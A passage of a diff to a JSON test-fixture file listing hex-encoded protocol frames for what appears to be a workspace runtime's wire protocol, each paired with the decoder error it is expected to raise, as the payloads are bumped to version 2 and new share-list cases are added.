7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "oversize" }, { "name": "runtime-ready-zero-conversations", "direction": "up", - "hex": "574d58310101000001000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a307d", + "hex": "574d58310101000001000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a302c22636f6e74696e756174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "runtime-ready-seventeen-conversations", "direction": "up", - "hex": "574d58310101000001000000990000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a31377d", + "hex": "574d58310101000001000000ac0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a31372c22636f6e74696e756174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "runtime-ready-travelling-down", "direction": "down", - "hex": "574d58310101000001000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": "574d58310101000001000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "error": "unknown_type" }, { "name": "conversations-travelling-up", "direction": "up", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "unknown_type" }, { "name": "bootstrap-fault-unknown-code", "direction": "up", - "hex": "574d58310101000001000000930000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", + "hex": "574d58310101000001000000930000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", "error": "bad_field" }, { @@ -872,7 +977,7 @@ "name": "runtime-stream-four", "direction": "up", "hex": "574d58310102000001000000050000000004000041", - "error": "bad_field" + "error": "bad_direction" }, { "name": "runtime-flags-two", @@ -909,6 +1014,246 @@ "direction": "up", "hex": "574d583101020000010000000400000000020000", "error": "bad_field" + }, + { + "name": "bootstrap-version-one", + "direction": "up", + "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "bootstrap-version-three", + "direction": "down", + "hex": "574d583101010000020000007e0000007b2276223a332c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "runtime-file-in-travelling-up", + "direction": "up", + "hex": "574d583101020000030000000600000000040000780a", + "error": "bad_direction" + }, + { + "name": "runtime-file-out-travelling-down", + "direction": "down", + "hex": "574d583101020000030000000600000000050000780a", + "error": "bad_direction" + }, + { + "name": "runtime-stream-six", + "direction": "up", + "hex": "574d58310102000003000000050000000006000078", + "error": "bad_field" + }, + { + "name": "runtime-file-in-on-conversation-one", + "direction": "down", + "hex": "574d583101020000030000000600000001040000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-on-conversation-one", + "direction": "up", + "hex": "574d583101020000030000000600000001050000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-empty-without-end", + "direction": "up", + "hex": "574d583101020000030000000400000000050000", + "error": "bad_field" + }, + { + "name": "shares-travelling-up", + "direction": "up", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "unknown_type" + }, + { + "name": "shares-mounted-travelling-down", + "direction": "down", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "unknown_type" + }, + { + "name": "shares-empty-list", + "direction": "down", + "hex": "574d583101010000030000008b0000007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b5d7d", + "error": "bad_field" + }, + { + "name": "shares-thirteen", + "direction": "down", + "hex": "574d58310101000003000000090500007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-ten-folders", + "direction": "down", + "hex": "574d58310101000003000000e20300007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-tag", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-guest-path", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-uppercase", + "direction": "down", + "hex": 